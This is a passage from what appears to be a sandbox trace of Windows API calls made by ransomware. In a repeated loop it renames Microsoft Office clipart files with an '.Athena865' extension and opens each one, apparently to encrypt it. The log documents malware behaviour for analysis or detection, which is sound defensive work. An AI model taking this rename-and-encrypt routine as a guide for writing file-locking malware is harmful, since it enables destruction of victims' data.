returned="SO01044_.WMF" [0134.713] lstrlenW (lpString="SO01044_.WMF") returned 12 [0134.713] lstrlenW (lpString="Athena865") returned 9 [0134.713] lstrcmpiW (lpString1="1044_.WMF", lpString2="Athena865") returned -1 [0134.713] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.Athena865") returned 73 [0134.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.715] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44570) returned 1 [0134.724] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01063_.WMF" | out: lpString1="SO01063_.WMF") returned="SO01063_.WMF" [0134.724] lstrlenW (lpString="SO01063_.WMF") returned 12 [0134.724] lstrlenW (lpString="Athena865") returned 9 [0134.724] lstrcmpiW (lpString1="1063_.WMF", lpString2="Athena865") returned -1 [0134.724] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.Athena865") returned 73 [0134.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.726] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23352) returned 1 [0134.729] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01236_.WMF" | out: lpString1="SO01236_.WMF") returned="SO01236_.WMF" [0134.729] lstrlenW (lpString="SO01236_.WMF") returned 12 [0134.730] lstrlenW (lpString="Athena865") returned 9 [0134.730] lstrcmpiW (lpString1="1236_.WMF", lpString2="Athena865") returned -1 [0134.730] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.Athena865") returned 73 [0134.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.733] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67422) returned 1 [0134.739] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01560_.WMF" | out: lpString1="SO01560_.WMF") returned="SO01560_.WMF" [0134.739] lstrlenW (lpString="SO01560_.WMF") returned 12 [0134.739] lstrlenW (lpString="Athena865") returned 9 [0134.739] lstrcmpiW (lpString1="1560_.WMF", lpString2="Athena865") returned -1 [0134.739] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.Athena865") returned 73 [0134.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.740] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17328) returned 1 [0134.743] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01561_.WMF" | out: lpString1="SO01561_.WMF") returned="SO01561_.WMF" [0134.743] lstrlenW (lpString="SO01561_.WMF") returned 12 [0134.743] lstrlenW (lpString="Athena865") returned 9 [0134.743] lstrcmpiW (lpString1="1561_.WMF", lpString2="Athena865") returned -1 [0134.743] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.Athena865") returned 73 [0134.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.753] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23000) returned 1 [0134.758] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01563_.WMF" | out: lpString1="SO01563_.WMF") returned="SO01563_.WMF" [0134.758] lstrlenW (lpString="SO01563_.WMF") returned 12 [0134.759] lstrlenW (lpString="Athena865") returned 9 [0134.759] lstrcmpiW (lpString1="1563_.WMF", lpString2="Athena865") returned -1 [0134.759] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.Athena865") returned 73 [0134.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.760] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30154) returned 1 [0134.764] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01566_.WMF" | out: lpString1="SO01566_.WMF") returned="SO01566_.WMF" [0134.764] lstrlenW (lpString="SO01566_.WMF") returned 12 [0134.764] lstrlenW (lpString="Athena865") returned 9 [0134.764] lstrcmpiW (lpString1="1566_.WMF", lpString2="Athena865") returned -1 [0134.764] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.Athena865") returned 73 [0134.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.766] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20904) returned 1 [0134.771] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01568_.WMF" | out: lpString1="SO01568_.WMF") returned="SO01568_.WMF" [0134.771] lstrlenW (lpString="SO01568_.WMF") returned 12 [0134.771] lstrlenW (lpString="Athena865") returned 9 [0134.771] lstrcmpiW (lpString1="1568_.WMF", lpString2="Athena865") returned -1 [0134.771] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.Athena865") returned 73 [0134.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.772] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21680) returned 1 [0134.777] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01569_.WMF" | out: lpString1="SO01569_.WMF") returned="SO01569_.WMF" [0134.777] lstrlenW (lpString="SO01569_.WMF") returned 12 [0134.778] lstrlenW (lpString="Athena865") returned 9 [0134.778] lstrcmpiW (lpString1="1569_.WMF", lpString2="Athena865") returned -1 [0134.778] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.Athena865") returned 73 [0134.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.780] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18336) returned 1 [0134.785] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01575_.WMF" | out: lpString1="SO01575_.WMF") returned="SO01575_.WMF" [0134.785] lstrlenW (lpString="SO01575_.WMF") returned 12 [0134.785] lstrlenW (lpString="Athena865") returned 9 [0134.785] lstrcmpiW (lpString1="1575_.WMF", lpString2="Athena865") returned -1 [0134.785] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.Athena865") returned 73 [0134.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.787] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43174) returned 1 [0134.791] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01777_.WMF" | out: lpString1="SO01777_.WMF") returned="SO01777_.WMF" [0134.791] lstrlenW (lpString="SO01777_.WMF") returned 12 [0134.791] lstrlenW (lpString="Athena865") returned 9 [0134.791] lstrcmpiW (lpString1="1777_.WMF", lpString2="Athena865") returned -1 [0134.791] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.Athena865") returned 73 [0134.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.793] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9574) returned 1 [0134.798] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01785_.WMF" | out: lpString1="SO01785_.WMF") returned="SO01785_.WMF" [0134.798] lstrlenW (lpString="SO01785_.WMF") returned 12 [0134.798] lstrlenW (lpString="Athena865") returned 9 [0134.798] lstrcmpiW (lpString1="1785_.WMF", lpString2="Athena865") returned -1 [0134.798] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.Athena865") returned 73 [0134.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.799] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27816) returned 1 [0134.803] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01805_.WMF" | out: lpString1="SO01805_.WMF") returned="SO01805_.WMF" [0134.803] lstrlenW (lpString="SO01805_.WMF") returned 12 [0134.803] lstrlenW (lpString="Athena865") returned 9 [0134.803] lstrcmpiW (lpString1="1805_.WMF", lpString2="Athena865") returned -1 [0134.803] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.Athena865") returned 73 [0134.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.805] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4232) returned 1 [0134.809] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01905_.WMF" | out: lpString1="SO01905_.WMF") returned="SO01905_.WMF" [0134.809] lstrlenW (lpString="SO01905_.WMF") returned 12 [0134.809] lstrlenW (lpString="Athena865") returned 9 [0134.809] lstrcmpiW (lpString1="1905_.WMF", lpString2="Athena865") returned -1 [0134.810] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.Athena865") returned 73 [0134.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.811] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1400) returned 1 [0134.814] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO01954_.WMF" | out: lpString1="SO01954_.WMF") returned="SO01954_.WMF" [0134.814] lstrlenW (lpString="SO01954_.WMF") returned 12 [0134.814] lstrlenW (lpString="Athena865") returned 9 [0134.814] lstrcmpiW (lpString1="1954_.WMF", lpString2="Athena865") returned -1 [0134.814] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.Athena865") returned 73 [0134.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.816] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12422) returned 1 [0134.819] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02009_.WMF" | out: lpString1="SO02009_.WMF") returned="SO02009_.WMF" [0134.819] lstrlenW (lpString="SO02009_.WMF") returned 12 [0134.819] lstrlenW (lpString="Athena865") returned 9 [0134.819] lstrcmpiW (lpString1="2009_.WMF", lpString2="Athena865") returned -1 [0134.819] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.Athena865") returned 73 [0134.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.821] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7444) returned 1 [0134.824] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02022_.WMF" | out: lpString1="SO02022_.WMF") returned="SO02022_.WMF" [0134.824] lstrlenW (lpString="SO02022_.WMF") returned 12 [0134.824] lstrlenW (lpString="Athena865") returned 9 [0134.824] lstrcmpiW (lpString1="2022_.WMF", lpString2="Athena865") returned -1 [0134.824] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.Athena865") returned 73 [0134.824] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.825] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7528) returned 1 [0134.831] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02024_.WMF" | out: lpString1="SO02024_.WMF") returned="SO02024_.WMF" [0134.831] lstrlenW (lpString="SO02024_.WMF") returned 12 [0134.831] lstrlenW (lpString="Athena865") returned 9 [0134.831] lstrcmpiW (lpString1="2024_.WMF", lpString2="Athena865") returned -1 [0134.831] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.Athena865") returned 73 [0134.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.833] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9128) returned 1 [0134.835] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02025_.WMF" | out: lpString1="SO02025_.WMF") returned="SO02025_.WMF" [0134.835] lstrlenW (lpString="SO02025_.WMF") returned 12 [0134.835] lstrlenW (lpString="Athena865") returned 9 [0134.835] lstrcmpiW (lpString1="2025_.WMF", lpString2="Athena865") returned -1 [0134.835] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.Athena865") returned 73 [0134.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.837] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8214) returned 1 [0134.840] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO02028_.WMF" | out: lpString1="SO02028_.WMF") returned="SO02028_.WMF" [0134.840] lstrlenW (lpString="SO02028_.WMF") returned 12 [0134.840] lstrlenW (lpString="Athena865") returned 9 [0134.840] lstrcmpiW (lpString1="2028_.WMF", lpString2="Athena865") returned -1 [0134.840] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft 